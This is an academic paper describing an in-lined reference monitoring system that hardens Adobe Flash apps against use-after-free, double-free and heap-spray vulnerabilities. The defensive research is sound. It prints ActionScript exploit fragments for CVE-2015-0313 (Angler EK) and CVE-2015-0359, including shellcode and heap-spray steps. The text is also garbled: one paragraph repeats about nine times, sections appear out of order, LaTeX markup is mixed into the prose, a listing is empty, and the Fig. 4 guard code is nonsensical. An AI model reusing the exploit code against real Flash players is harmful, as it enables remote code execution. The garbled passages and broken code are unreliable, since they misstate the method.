In A Flash: An In-lined Monitoring Approach to Flash App Security

Meera Sridhar¹, Abhinav Mohanty¹, Vasant Tendulkar¹, Fadi Yilmaz¹ and Kevin W. Hamlen²

¹Department of Software and Information Systems, University of North Carolina at Charlotte, NC, USA, {msridhar,amohant1,vtendulk,fyilmaz}@uncc.edu
²Department of Computer Science, University of Texas at Dallas, TX, USA, hamlen@utdallas.edu

Abstract—The design and implementation of the first fully automated Adobe Flash binary code transformation system that can guard major Flash vulnerability categories without modifying vulnerable Flash VMs is presented and evaluated. This affords a means of mitigating the significant class of web attacks that target unpatched, legacy Flash VMs and their apps. Such legacy VMs, and the new and legacy Flash apps that they run, continue to abound in a staggering number of web clients and hosts today; their security issues routinely star in major annual threat reports and exploit kits worldwide. Through two complementary binary transformation approaches based on in-lined reference monitoring, it is shown that many of these exploits can be thwarted by a third-party principal (e.g., web page publisher, ad network, network firewall, or web browser) lacking the ability to universally patch all end-user VMs—write-access to the untrusted Flash app(s) (prior to execution) suffices. Detailed case-studies describing proof-of-concept exploits and mitigations for five major vulnerability categories are reported.

Index Terms—Adobe Flash, ActionScript language, virtual machines, vulnerabilities, binary code transformation, in-lined reference monitoring

I. INTRODUCTION

A staggering number of web sites continue to host new and legacy Adobe Flash applets [1], [2]. Flash online games, web advertisements, animations, and media streaming services abound on many websites, and recent studies demonstrate that Flash is used by over three million developers worldwide [2]. Twenty-four out of Facebook’s top twenty-five games are developed using Flash [2]. Google Play and Apple’s App Store host over 20,000 apps that have been developed using Flash [2]. Despite the waning of Flash in some sectors (e.g., due to increasing competition with HTML5 in the rich web content race), Flash holds an advantage through its built-in Digital Rights Management (DRM) functionality [3]. Protecting content in HTML5 is highly complex as the delivered content is exposed to the end user. However, Flash Media Server gives the ability to the user to stream anything and at the same time provides complete control over what is being shared with others.

Flash has been notorious for its significant security issues ([4]–[8]), and yet has received less attention from the security research community than other web scripting languages [9]; it is therefore expected that its continued prevalence would imply a continued web attack surface through Flash. What has been astounding, however, is the enormity of this continued attack surface. Mitre’s CVE database reports 328 unique Flash vulnerabilities in 2015, and 22 in Jan-Feb 2016. The 2015 Q1 McAfee Threat Report indicates a 50% increase in vulnerabilities from Q4 2014 [10]. The report taglines Flash as a technology “favorite of designers and cybercriminals” [10], and states that a rise of 317% was seen in the number of unique malware samples detected in Q1 2015 as compared to Q4 2014 (from 47,000 to 200,000). Kaspersky’s 2015 report identifies thirteen top pernicious vulnerabilities, calling them the “Devil’s Dozen of Adobe Flash Player vulnerabilities”, that were the favorite of cybercriminals in 2015, and were added to common exploit packs, such as Angler EK and Nuclear Pack [11]. One of vulnerabilities, a zero-day, was described as “the most beautiful Flash bug for the last four years” affecting Flash Player all versions 9 to 18, and also added to at least three exploit kits sold to hackers in the underground—Angler EK, Neutrino, and Nuclear Pack [12].

A main reason for Flash’s enormous attack surface is the daunting complexity of the underlying ActionScript bytecode language (AS) [13], and lack of a secure, airtight implementation of the ActionScript Virtual Machine (AVM) that interprets the AS code [14]. AS not only includes both object-oriented and scripting language features such as class-inheritance, packages, namespaces, and dynamic classes, but also gradual typing, regular expressions, and direct access to security-relevant system resources [14]. Additionally, binary Flash files (.swf files) pack images, sounds, text, and AS bytecode into a web page-embeddable form, which is then seamlessly JIT-compiled and/or interpreted by the Adobe Flash Player browser plug-in when the page is viewed [9]. This integrated, binary support for myriad complex, inter-operating multimedia formats and dynamic data manipulation functionalities introduces many opportunities for perennial implementation vulnerabilities, such as buffer overflow and type confusion errors.

In this paper, we present a security enforcement strategy for Flash applets using a language-based approach, through in-lined reference monitoring. In-lined reference monitors (IRMs) (cf., [15]–[18]) enforce security policies by inserting dynamic security checks directly into untrusted binary code; the checks prevent policy violations at runtime. The result is completely self-enforcing binary code, demonstrated to be able to enforce powerful, fine-grained, flexible policies at the language-level [18], [19].
IRM-based policy enforcement has the advantage of securing vulnerable Flash systems without requiring end users to secure vulnerable AVM deployments (e.g., through diligent upgrading and patching of AVM software). For example, IRMs can automatically secure Flash scripts while they are in transit—e.g., at the network level prior to execution [20]—without forcing AVM re-installation. Since a large number of Flash attacks worldwide continue to exploit the diversity of vulnerable, legacy AVM versions that abound in the wild [21], our approach is therefore particularly well suited to this vast attack space. Although the concept of IRMs has existed for over a decade [22], the idea of leveraging them to mitigate web VM bugs without modifying the browser is relatively new [20]. In this work, we demonstrate its feasibility by mitigating a series of highly dangerous security vulnerabilities in the Flash VM.

We present an in-lined reference monitoring framework for ActionScript 3.0 bytecode, targeting the most heavily exploited vulnerabilities in the last year [9], [11]. Our framework constitutes a complete tool chain for facilitating bytecode-level instrumentation of flexible policies, including parsing, code-generation, and extensible rewriting, capable of monitor instrumentation through wrapper-classes. We design security policies and corresponding IRMs that cure five real classes of vulnerabilities; these vulnerabilities were the top choices for attackers, and were heavily used in popular exploit kits [11]. All the vulnerabilities were either part of Kaspersky’s “Devil’s Dozen”, or other prominent malicious operations [23], and include type-confusion, double-free, use-after-free, and heap spray [11]. Our IRM techniques are easily extensible to untrusted code written in other languages that share similar features (type-safe, object-oriented, bytecode-compiled, no self-modifying code).

We overcame numerous challenges in security policy and IRM design, and attack code creation for experiments. Since most of the vulnerabilities were deep inside the ActionScript Virtual Machine 2 (AVM2 [14]) that interprets ActionScript 3.0 bytecode, our solution required a comprehensive understanding of both the complex semantics of the AS language and also the inner workings and security flaws of the AVM2. In order to achieve the latter, we performed extensive experiments, since the AVM2 is not open source. Due to the high difficulty of collecting live, in-the-wild exploits of many of these vulnerabilities, we created proof-of-concept ads containing full exploits for each vulnerability class in order to fully test our solution.

Our main contributions include:
- We present the design and implementation of the first fully automated Flash code binary transformation system that can guard major Flash vulnerability categories without modifying vulnerable Flash VMs.
- Our experiences reveal that many Flash vulnerabilities can be addressed via two complementary binary transformation approaches: (a) direct monitor in-lining as bytecode instructions, and (b) binary class-wrapping.
- Detailed case-studies describe and mitigate five major vulnerability categories of Flash exploits currently being observed in the wild.

The rest of the paper is organized as follows. Section II describes our technical approach, including an overview and implementation details of our IRM framework, and a detailed example. Section III presents case studies of five vulnerability classes, including proof-of-concept advertisement apps with full exploits and corresponding IRM solutions. Section IV outlines experimental results, and Section V discusses the security analysis of our approach, and design challenges. Sections VI and VII outline related and future work respectively.

II. TECHNICAL APPROACH

A. Overview

At a high level, our IRM framework automatically (1) disassembles and analyzes binary Flash programs prior to execution, (2) instruments them by augmenting them with extra binary operations that implement runtime security checks, and (3) re-assembles and packages the modified code as a new, security-hardened Shockwave Flash (SWF) binary. This secured binary is self-monitoring, and can therefore be safely executed on older versions of Flash Player which lack the security patches.

Our approach conservatively assumes that Flash programs and their authors have full knowledge of the IRM implementation, and may therefore implement malicious SWF code that attempts to resist or circumvent the IRM instrumentation process. We thwart such attacks via a last writer wins principle: Any potentially unsafe binary code that might circumvent the IRM enforcement at runtime is automatically replaced with
Thus, since the binary rewriter is the last to write to the file
before it executes, its security controls dominate and constrain all
untrusted control-flows.

In order to enforce stateful, history-based security policies,
our rewriter introduces \textit{reified security state} variables \cite{24}
that keep track of security state at run time. The \textit{monitor} code
therefore includes the dynamic checks that check for impending
policy violations, reified state updates, and corrective actions in case
of impending policy violations. Corrective actions include
premature termination, event suppression, and logging event
information. For facilitating best-fit IRM instrumentation per
policy, our framework uses two instrumentation techniques
for including the monitor code into the untrusted SWF:
(a) instrumentation of monitor code directly as bytecode instructions; and (b) instrumentation of monitor code as a
\textit{wrapper} class through a \textit{package}.

Our threat model includes exploits of known vulnerabilities in
AVM2 and Flash-based libraries, but not undiscovered
vulnerabilities. Older, unpatched Flash VMs abound due to
notoriously long patch lags, making protection against known
but unpatched vulnerabilities an important effort (see \textsection{V}
for a more detailed discussion). Besides these, vulnerabilities
triggered by particular Flash API calls made by the Flash Player
or web-browsers are also a part of our threat model. While
in-scope, we do not discuss ActionScript parser vulnerabilities
in this paper because their mitigations can be enforced in the
static rewriting phase and do not depend on the dynamic nature
of IRMs. Reflective code may change its behavior in response
to IRM instrumentation, but the IRM prevents the new behavior
from violating the security policy.

\section{Implementation}

\textbf{Monitor Code Instrumentation as Bytecode Instructions:}
Fig. 1 shows our direct bytecode monitor instrumentation
process. We use the AS Bytecode (ABC) Extractor, from the
Robust ABC [Dis]-Assembler (RABCDAsm) tool kit \cite{25}
to extract bytecode components \cite{26} from the original, untrusted
SWF (which packages AS code with data such as sound and
images). A Java ABC parser parses the contents of the untrusted
bytecode into Java structures, according to the AS 3.0 bytecode
file format specification \cite{14}. Our rewriter, also written in Java,
subsequently rewrites the untrusted bytecode according to the
specified security policy, inserting reified state variables, state
updates, and other guard code directly as ABC instructions
into the Java structures. Post-rewriting, a Java code-generator
converts the instrumented Java structures back into ABC format.
Finally, the RABCDAsm ABC Injector \cite{25} re-packages the
modified bytecode with the original SWF data to produce a
new, safe SWF file.

\textbf{Monitor Code Instrumentation as a Wrapper Class:}
Some policies required sealing security holes in vulnerable methods of
particular AS classes. For such policies, our rewriter elegantly
extends the AS vulnerable class in the untrusted code through
a wrapper class; the wrapper class includes reified security
state variables for maintaining security state, and overrides
all vulnerable methods in the original class. The wrapper
class is then compiled as an AS \texttt{package} into a SWF file,
\texttt{Monitor.swf} and merged directly into the untrusted SWF,
creating a new, safe SWF. Fig. 2 shows our wrapper-class
rewriting framework. The rewriter is developed in Java.

Our rewriter ensures that all invocations of the vulnerable
class (including object instantiations and method calls) in the
original SWF are replaced by our new safe wrapper for the
class. This is achieved by maintaining a hash-map that maps
the package name of the vulnerable class to the package name
of our wrapper class. When merging the monitor package with
the untrusted SWF, our rewriter scans the untrusted SWF’s
bytecode for all occurrences of the vulnerable class’ package
name and replaces them with the mapped package name of our
wrapper class. Please see \textsection{V} for a detailed security analysis
of this rewriting technique.

Some of our policies use a combination of both rewriting
techniques (see \textsection{III}). In that case, our rewriter uses wrapper
class rewriting to produce \texttt{Monitor.swf} with the safe
implementation of the vulnerable class or method, which is
subsequently used as input for the binary rewriter; the
binary rewriter then instruments its monitor code as bytecode
instructions directly into the malicious SWF. While all of
our policies can be enforced solely using our bytecode
instrumentation technique, the combination approach provides
rewriting ease and simplicity in several cases (\textsection{III}).

\textbf{Creating proof-of-concept Ads:}
Due to the high difficulty of collecting live, in-the-wild exploits of many of
the vulnerabilities, we create proof-of-concept ads containing
full exploits for each vulnerability class presented in \textsection{III} in
order to fully test our solution. Our proof-of-concept ads are
modeled after real-world exploit analyses and vulnerability
descriptions found in popular exploit and security research
archives such as Google Security Research Database \cite{27},
ExploitDB \cite{28}, KernelMode.info \cite{29}, and security blogs by
research companies such as TrendMicro \cite{30}, FireEye \cite{31} and
TrustWave \cite{32}. All ads were created using Adobe Flash Builder
v. 4.7. Our ads were safely designed as proof-of-concepts to
cause the Flash Player when each vulnerability was triggered
(any malicious payloads presented in the wild were substituted).

\section{A Detailed Example}

We here demonstrate our IRM enforcement technique
through a detailed example of an Angler EK exploit that
Listing 1: domainMemory attack, stage 1 [34]

Listing 1 shows the first stage of the attack involving the primary Worker. Here, the attacker sets a ByteArray object named attacking_buffer to the domainMemory, and sends a message (Line 7) to the background Worker instructing it to free attacking_buffer.

Listing 2: domainMemory attack, stage 2 [34]

Listing 2 shows the second stage of the attack. Here, upon receiving the message from the primary Worker, the background Worker frees attacking_buffer. Since attacking_buffer was assigned to domainMemory in the primary Worker, the primary Worker retains a pointer to the attacking_buffer in memory.

In the third stage, the malicious SWF uses the dangling pointer in domainMemory to inject a Vector (an AS array of changeable size), containing shellcode corresponding to the return-oriented programming (ROP) [36] gadgets it wants to execute. In final stage, the malicious SWF scans the heap for the Vector of the same length and writes the ROP chain and shellcode to the buffer, which then allows it to execute ROP attacks (see Appendix A for more details).

b) Mitigation: Our IRM policy for this attack, SafeApplicationDomain, is to maintain that a ByteArray object shared amongst multiple Workers is never inconsistently freed. To enforce SafeApplicationDomain, our IRM tracks the number of subscribers for every ByteArray object in the untrusted SWF (subscribers refers to the number of Workers simultaneously referencing that object), using a global, thread-safe hash-table. Our rewriter targets three security-relevant operations: (1) creation of a new ByteArray object, (2) assignment of a ByteArray object to the domainMemory property, and (3) freeing of a ByteArray object.

In order to most effectively implement this policy, we use a combination of rewriting techniques #1 and #2. Our rewriter first creates a wrapper for the flash.utils.ByteArray class, extending it, and thereby inheriting all existing functionality of the original class. Our wrapper augments flash.utils.ByteArray with a static Dictionary object (the reified security state variable) that implements our global hash-table. To make our implementation thread-safe we introduce a lock for our Dictionary in the form of a 1-integer, shareable ByteArray. When a thread’s IRM needs to read or write to the Dictionary, it will first try to acquire the lock. Only after acquiring the lock the IRM will be able to make its update on the Dictionary and subsequently release the lock. For brevity and simplicity of the presentation, we only show single-threaded code listings in the paper. However, our actual implementation maintain thread-safe concurrency check in all enforced policies.

The hash-table uses ByteArray objects as keys and their subscriber counts as values. We chose to implement the hash-table as a static property to ensure that there is exactly one copy of the hash-table that can be accessed by the entire application, including multiple Workers. Listing 3 shows the code for our wrapper class. We override the ByteArray constructor inside the wrapper class, so that whenever a new ByteArray object is created [security-relevant operation #1], an entry for it is added to the global hash-table (Lines 6-10). We also override the clear() method (Lines 12-17), to only allow a ByteArray to be freed when its subscriber count is 0 [security-relevant operation #3]. If the subscriber count is 0, then our monitor safely sets the ByteArray object’s hash-table entry to null and then calls the flash.utils.ByteArray class to free the object.

<table>
<thead>
<tr>
<th>Name (Type)</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>SecurityDomain (class)</td>
<td>Represents the security sandbox for the web domain from which the SWF application was loaded.</td>
</tr>
<tr>
<td>ApplicationDomain (class)</td>
<td>Allows for partitioning of AS classes within same security domain into containers (smaller sand-boxes). AS allows loading an external SWF into an existing SWF’s source. ApplicationDomain is used to create a separate container for classes of the external loaded SWF.</td>
</tr>
<tr>
<td>currentDomain (property)</td>
<td>Read-only property of ApplicationDomain, the class that gives the current application domain in which the code is executing.</td>
</tr>
<tr>
<td>ByteArray (class)</td>
<td>Allows for reading/writing of raw binary data.</td>
</tr>
<tr>
<td>domainMemory (property)</td>
<td>A property of the ApplicationDomain class that can be set to a ByteArray object for faster read/write access to memory [33].</td>
</tr>
<tr>
<td>Worker (class)</td>
<td>Allows creation of virtual instances of the Flash Runtime; this is how AS implements concurrency.</td>
</tr>
</tbody>
</table>

Fig. 3: AS classes, methods, and properties used in ApplicationDomain UAF example

employs the CVE-2015-0313 vulnerability, a use-after-free (UAF) vulnerability in the ApplicationDomain AS class. We first outline the exploit as presented in the Palo Alto Networks Security Research Blog by Tao Yan [34], and then discuss our solution. Fig. 3 describes the AS classes, methods and properties [35] used in this example.

a) Attack: The Angler EK exploit constitutes a malicious SWF file containing one primary Worker and one background Worker. The Workers share a ByteArray object through the ApplicationDomain’s domainMemory property.

In the attack, the primary Worker sets domainMemory to the shared ByteArray object. Later, the background Worker frees the shared ByteArray object; however, the primary Worker can still reference it. This inconsistency results in a UAF vulnerability, and gives the attacker a pointer to control the heap memory of the SWF application.

1 private function exploit_primordial_start(param1:String) : Boolean{
  2  var _loc2_:String = this.DecryptX86URL(param1);
  3  this.shellcodes = new Shellcodes(_loc2_,this.xkey.toString());
  4  this.prepare_attack();
  5  this.make_spray_by_buffers_no_holes();
  6  ApplicationDomain.currentDomain.domainMemory = this.attacking_buffer;
  7  this.main_to_worker.send(this.message_free);
  8  return true;
  9 }

1 protected function on_main_to_worker(param1:Event) : void{
  2  var _loc2_:this.main_to_worker.receive();
  3  if(_loc2_ == this.message_free){
  4    this.attacking_buffer.clear();
  5    this.worker_to_main.send(this.message_world);
  6  }
  7 }
D. Limitations

While our high-level approach can apply to AVM1 vulnerabilities, our current implementation does not support them. AVM1 runs ActionScript 1.0 and 2.0 which are very different from ActionScript 3.0, requiring a different parser and rewriter.

Our current framework cannot stop malicious events generated within externally loaded files. For example, in CVE-2016-0967, loading an external .flv file corrupts the stack [37]. However, we do not analyze or instrument the external file before loading, therefore our IRM cannot protect against it. In SWF binaries, externally loaded files can be written in languages other than ActionScript, e.g., JavaScript, which we do not support—to protect against attacks originating from such files our framework would have to be augmented to parse and instrument the target file in these other languages as well. Additionally, the externally loaded file may also load external files of its own, which would require layers of parsing and instrumentation support.

III. CASE STUDIES

In this section, we present an in-depth analysis of five vulnerability classes, proof-of-concept exploits, and our IRM enforcement algorithms for each. Table I summarizes policies for our five vulnerability classes presented in this section. CVE numbers for each vulnerability are noted, along with CVE numbers for other very similar vulnerabilities in the same class. Heap spray attacks do not typically have CVE numbers by themselves, but usually exploit other vulnerabilities, and are therefore associated with the vulnerabilities’ CVE numbers (see §III-E). Therefore, in the heap spray row of Table I, we list CVE numbers of vulnerabilities that have been exploited by heap spray attacks in the “Similar CVEs” column.

A. ApplicationDomain UAF

Two UAF vulnerabilities in the ApplicationDomain AS class, CVE-2015-0311 and CVE-2015-0313, were extremely popular amongst exploit kit writers in 2015, and were a part of Kaspersky’s Devil’s Dozen [11].

a) Attack and Mitigation: In §II-C, we outlined the Angler EK exploit of CVE-2015-0313, and our IRM enforcement. These vulnerabilities allow remote attackers to execute arbitrary code via multiple attack vectors on Windows, OS X and Linux machines. We created a proof-of-concept SWF ad that exploits CVE-2015-0313 to conduct the attack and defense.

b) Discussion and Impact: CVE-2015-0311 is a similar UAF vulnerability, also triggered using the domainMemory property of ApplicationDomain class. Here, the attacker writes a large amount of data to a ByteArray object and after compressing it, assigns it to domainMemory. Then the attacker overwrites the compressed data with arbitrary byte sequences and tries to decompress it. This results in an IOError that frees the ByteArray object but does not notify the domainMemory, creating a UAF. Our IRM framework can mitigate this attack; as it will stop the clear() operation on all ByteArays that have a subscriber count of greater than 0, the subscriber in this case being the domainMemory.

Listing 3: ByteArray safe wrapper class

Our rewriter then merges our monitor package with the untrusted SWF so that every call to ByteArray() and ByteArray.clear() is intercepted by our overridden methods.

To protect security-relevant operation #2, our rewriter has to update the reified state (our global hash-table) whenever a ByteArray is assigned to the domainMemory property. This cannot be achieved by technique #2 as the wrapper class does not have access to assignment operations outside its class. Fig. 4 shows the ByteArray object byteArray1 being assigned to the shared property domainMemory (security-relevant operation #2), underlined in red, and the injected guard-code that increments the number of subscribers for byteArray1 in the hash-table by 1. In order to keep track of this assignment of the ByteArray object to domainMemory, the IRM increments the subscriber count by 1 (by using hashtable[byteArray1]++, underlined in blue in Fig. 4). When the domainMemory shared object stops subscribing to the byteArray1, the IRM decrements the subscriber count (not shown here). When the subscriber count becomes 0, byteArray1 becomes clearable again. We show the instrumented code here at the source-level for clarity; in the implementation, instrumentation is done directly as bytecode instructions. After this second rewriting round, the final, safe SWF is produced.

As mentioned in §II-B, bytecode instrumentation would suffice here; however, we use a combination approach to allow for simpler rewriting.

```
if (hashtable[byteArray1] > hashtable[byteArray1] +1)
security_violation();
else

  hashtable[ByteArray] += ApplicationDomain.currentDomain.domainMemory - byteArray1;
```

Fig. 4: IRM guard-code for ByteArray object assignment to shared domainMemory
Both CVE-2015-0313 and CVE-2015-0311 went undetected for as long as two months. CVE-2015-0313 was patched by Adobe on February 2, 2015, but researchers at MalwareBytes trace the zero-day lifecycle of the vulnerability to December 10, 2014 [38], [39]. CVE-2015-0313 was used to inject malicious ads on popular websites such as Dailymotion, Huffington Post, answers.com, New York Daily News, and several other sites [40]. MalwareBytes did not provide an exact count of the victims hit with the ransomware that used these malicious ads, but as of February 2015, traffic to these infected sites had reached over 1 billion hits [41].

Adobe categorized CVE-2015-0313 and CVE-2015-0311 as critical and warned that it affects all Flash Player versions up to 16.0.0.296 on Windows and Macintosh [42], [43]. IBM X-Force Exchange [44] rated these vulnerabilities 9.3 out of 10 on their base score, marking their impact on confidentiality, integrity and availability as complete.

Numerous security research websites and blogs, including TrendMicro [45], TrustWave [46], Malware Don’t Need Coffee [47], Palo Alto Networks [34] have described these vulnerabilities and exploits in detail.

B. ByteArray Double-Free

CVE-2015-0359 is another Kaspersky’s Devil’s Dozen vulnerability [11] used extensively in combination with CVE-2015-0311 and CVE-2015-0313 [34] (described above in §III-A). This double-free [48] vulnerability is the result of a race condition in Flash Workers, triggered by abusing the length property and writeObject() and clear() methods of ByteArray.

The double-free corrupts data structures handling the program’s free memory chunks, allowing an attacker to write data to arbitrary memory locations, altering code execution or causing a crash.

In this section, we present our IRM solution for a proof-of-concept attack that exploits this vulnerability. Our proof-of-concept attack is based on the analysis presented in the Google Project Zero blog [49]; the attack constitutes a malicious SWF file containing one primary Worker and one background Worker that share a ByteArray object.

a) Background: AS methods, and properties used in the attack (we only describe classes not introduced previously):

- **ByteArray.clear() (method)**—clears the contents of a ByteArray object and resets its length and position properties to 0. Calling this method frees the memory chunk used by the ByteArray object.

- **ByteArray.length (property)**—returns the length of the ByteArray. Increasing the length property of a ByteArray object causes the AVM to free the memory chunk allocated to ByteArray object and reallocate it to a new memory chunk.

- **ByteArray.writeObject() (method)**—takes an object as input, and writes it to the ByteArray in a AMF [50] serialized format.

b) The Attack: Listings 4, 5 show code for the primary Worker and background Worker (bgWorker) respectively. In the attack, the primary Worker and bgWorker concurrently operate on a shared ByteArray object, bShared. Lines 1–3 from Listing 4 show the primary Worker creating bShared and setting it as shared property with bgWorker. Inside a loop (Listing 4, Lines 8–22), the primary Worker is writing to bShared and setting its length. Concurrently, inside another loop (Listing 5, Lines 3–8), bgWorker also writes to bShared, clears it and reduces its length. The attacker creates a race condition between both Workers by having bgWorker clear bShared (Listing 5, Line 5) between the events of freeing and allocating a new memory chunk to bShared (Listing 4, Line 10, length semantics) inside the primary Worker. This race condition causes bShared to be freed twice. To determine whether the double-free vulnerability was triggered or not, in every iteration of the loop the attacker allocates a new ByteArray twice to the same variable b (Listing 4, Line 12 and Line 17). The attacker then assigns an index at the ninth element of b and pushes them one by one on to an Array a (Listing 4, Line 15 and Line 20). The attacker keeps a track of the index to be assigned to the next allocation of b using a sequential counter ib (Listing 4, Line 14 and Line 19). If the race condition succeeds, then the second allocation of b overwrites the first allocation.

To determine the iteration of the loop where the vulnerability occurred, the attacker scans the index of every ByteArray b allocated inside a (Listing 4, Lines 26–33). If two allocations of b have the same index, it implies that the missing index was overwritten by the instance of b that allocated to the same memory chunk. This gives the attacker access to a pointer to control the heap and inject shellcode via b.
1. bShared = new ByteArray();
2. bgWorker = WorkerDomain.current.createWorker(swfBytes);
3. bgWorker.setSharedProperty("byteArray", bShared);

... 
4. var ibuint = 0;
5. var b:ByteArray = null;
6. var a:Array = new Array();
8. for (k=4; k<0x3000; k++) {
9.  bShared.writeObject(tempBytes);
10. } 
11. bShared.length = 0x30;
12. trace("bytearrayCleared");
13. bShared.clear();
14. bShared.writeObject(tempBytes);
15. bShared.length = 0x400;
16. b = new ByteArray();
17. b.length = bAlengeth;
18. b[8] = lb;
19. a.push(b);
20. ib++;
21. b = new ByteArray();
22. b.length = bAlengeth;
23. b[8] = lb;
24. a.push(b);
25. ib++;
26. for (k=4; k<0x3000; k++) {
27.  b = a[k];
28.  if (b[8] != (k%0x100)) {
29.   a[k+1].length = 0x1000;
30.   v.length = vLength;
31.   b.position = 0;
32.   b.writeUnsignedInt(0x41414141);
33.   a[k+1].length = 0x1000;
34.   b = new ByteArray();
35.   b.length = baLength;
36.   b = new ByteArray();
37.   b.length = baLength;
38.   b[8] = ib;
39.   a.push(b);
40.   ib++;
41. } 
42. }
Listing 4: Primary Worker writing to ByteArray bShared

1. function playWithWorker()
2. { 
3.  ...... 
4.  for ([j=0]j<0x1000;j++) { 
5.   bShared.writeObject(tempBytes);
6.   bShared.clear();
7.   trace("ByteArrayCleared");
8.   bShared.length = 0x30;
9. } 
10. }
11. 
Listing 5: Background Worker writing to and clearing ByteArray bShared

c) Mitigation: Our IRM policy for this attack, NoByteArrayDF, is to maintain that a ByteArray object shared amongst multiple workers is cleared at most once.

To enforce this policy, our IRM tracks all allocated ByteArray objects within the untrusted Flash application, using a global, thread-safe hash-table and ensures that every ByteArray.clear() method is called at most once per ByteArray object. Our rewriter targets two security-relevant operations: (1) creation of a new ByteArray object, and (2) freeing of a ByteArray object.

Our IRM mitigation for this attack closely resembles the SafeApplicationDomain policy enforcement of §III-A; security-relevant operations #1 and #2 of this attack are the same as security-relevant operations #1 and #3 of SafeApplicationDomain. Since NoByteArrayDF does not require tracking ByteArray assignments, wrapper-style instrumentation suffices.

To implement this policy, we create a wrapper class for flash.utils.ByteArray. Our wrapper class adds a static Dictionary object that implements our global, thread-safe hash-table that uses ByteArray objects as keys and a non-null integer (1) as value. Listing 6 shows the code for the wrapper class. Our overridden ByteArray constructor adds an entry for a newly created ByteArray object to the global hash-table with its value set to 1, indicating its allocation [security-relevant operation #1] (Lines 12–16). Our overridden clear() method (Lines 17–22) only allows a ByteArray to be freed [security-relevant operation #2] if its value in the hash-table is non-null (implying it has not been freed already). Our monitor then sets it to null before safely calling the free property of the flash.utils.ByteArray class. However, if the value stored in the hash-table is null, then our monitor suppresses the free operation, which prevents the double-free.

Another thing to be noted in the code is the variable org_byteArray of type flash.utils.ByteArray at line 4 and the methods convert() at line 6 and valueOf() at line 23. There are many properties in AS3 such as the loaderinfo.bytes, which implicitly return an original flash.utils.ByteArray and throw an error if assigned to a Monitor.ByteArray, which happens when we replace all instances of the flash.utils.ByteArray with Monitor.ByteArray. For such properties, we have the convert function which takes a flash.utils.ByteArray as a parameter and returns a Monitor.ByteArray. We also override the valueOf() method to return the variable org_byteArray. This method is called every time a ByteArray object is called or instantiated. So anytime we encounter such a property which returns flash.utils.ByteArray, we explicitly call the convert function on this property so that it can be assigned to a Monitor.ByteArray.

1. package Monitor{
2. 
3.  
4.  
5.  
6.  
7.  
8.  
9.  
10. }
Listing 6: ByteArray wrapper class

Our rewriter then merges our monitor containing the wrapper class with the untrusted SWF so that every call to ByteArray() and ByteArray.clear() is replaced by our overridden methods. After instrumentation of this IRM code, the rewritten safe SWF is produced.
Figure 5: Replacing `flash.utils.ByteArray` with `Monitor.ByteArray`

As an example of our instrumentation, Figure 5 shows that the class of `bShared` and `tempBytes` objects has been replaced by our `Monitor.ByteArray` class, underlined in blue. When the attacker calls the `clear()` method, underlined in red, the call is intercepted by the overridden `clear()` method in our wrapper class (lines 17–22) Listing 6, where it decides whether the `ByteArray` object is allocated or not.

**d) Discussion and Impact:** Various exploit kits including Flash EK, Sweet Orange, Fiesta, Angler and Neutrino added CVE-2015-0359 but as a Use-After-Free vulnerability. However, Adobe claims it to be a Double-Free vulnerability. It was then reported by TrendLabs that coincidently the fix for CVE-2015-0359 along with patching the Double-Free, fixes a Use-After-Free vulnerability as well which was being exploited by these exploit kits and being referred to as CVE-2015-0359.

Adobe categorized CVE-2015-0359 as critical, warning that it affected all Flash Player versions up to 17.0.0.134 for Windows and Macintosh [52] but as a Use-After-Free vulnerability. However, Adobe claims it to be a Double-Free vulnerability. It was then reported by TrendLabs that coincidently the fix for CVE-2015-0359 along with patching the Double-Free, fixes a Use-After-Free vulnerability as well which was being exploited by these exploit kits and being referred to as CVE-2015-0359.

Adobe categorized CVE-2015-0359 as critical, warning that it affected all Flash Player versions up to 17.0.0.134 for Windows and Macintosh [52] but as a Use-After-Free vulnerability. However, Adobe claims it to be a Double-Free vulnerability. It was then reported by TrendLabs that coincidently the fix for CVE-2015-0359 along with patching the Double-Free, fixes a Use-After-Free vulnerability as well which was being exploited by these exploit kits and being referred to as CVE-2015-0359.

Adobe categorized CVE-2015-0359 as critical, warning that it affected all Flash Player versions up to 17.0.0.134 for Windows and Macintosh [52] but as a Use-After-Free vulnerability. However, Adobe claims it to be a Double-Free vulnerability. It was then reported by TrendLabs that coincidently the fix for CVE-2015-0359 along with patching the Double-Free, fixes a Use-After-Free vulnerability as well which was being exploited by these exploit kits and being referred to as CVE-2015-0359.

Adobe categorized CVE-2015-0359 as critical, warning that it affected all Flash Player versions up to 17.0.0.134 for Windows and Macintosh [52] but as a Use-After-Free vulnerability. However, Adobe claims it to be a Double-Free vulnerability. It was then reported by TrendLabs that coincidently the fix for CVE-2015-0359 along with patching the Double-Free, fixes a Use-After-Free vulnerability as well which was being exploited by these exploit kits and being referred to as CVE-2015-0359.

Adobe categorized CVE-2015-0359 as critical, warning that it affected all Flash Player versions up to 17.0.0.134 for Windows and Macintosh [52] but as a Use-After-Free vulnerability. However, Adobe claims it to be a Double-Free vulnerability. It was then reported by TrendLabs that coincidently the fix for CVE-2015-0359 along with patching the Double-Free, fixes a Use-After-Free vulnerability as well which was being exploited by these exploit kits and being referred to as CVE-2015-0359.

Adobe categorized CVE-2015-0359 as critical, warning that it affected all Flash Player versions up to 17.0.0.134 for Windows and Macintosh [52] but as a Use-After-Free vulnerability. However, Adobe claims it to be a Double-Free vulnerability. It was then reported by TrendLabs that coincidently the fix for CVE-2015-0359 along with patching the Double-Free, fixes a Use-After-Free vulnerability as well which was being exploited by these exploit kits and being referred to as CVE-2015-0359.

Adobe categorized CVE-2015-0359 as critical, warning that it affected all Flash Player versions up to 17.0.0.134 for Windows and Macintosh [52] but as a Use-After-Free vulnerability. However, Adobe claims it to be a Double-Free vulnerability. It was then reported by TrendLabs that coincidently the fix for CVE-2015-0359 along with patching the Double-Free, fixes a Use-After-Free vulnerability as well which was being exploited by these exploit kits and being referred to as CVE-2015-0359.

Adobe categorized CVE-2015-0359 as critical, warning that it affected all Flash Player versions up to 17.0.0.134 for Windows and Macintosh [52] but as a Use-After-Free vulnerability. However, Adobe claims it to be a Double-Free vulnerability. It was then reported by TrendLabs that coincidently the fix for CVE-2015-0359 along with patching the Double-Free, fixes a Use-After-Free vulnerability as well which was being exploited by these exploit kits and being referred to as CVE-2015-0359.
the SharedObject, which is once again freed by the ongoing destructor function called by Worker.terminate() resulting in a double-free.

```
public class WorkerClass extends Sprite {
  public static var G:Worker = new Worker();
  public function increaseSize():void {
    var exp:String = "AAAA";
    while ((exp.length<102400)) {
      exp=(exp + exp);
    }
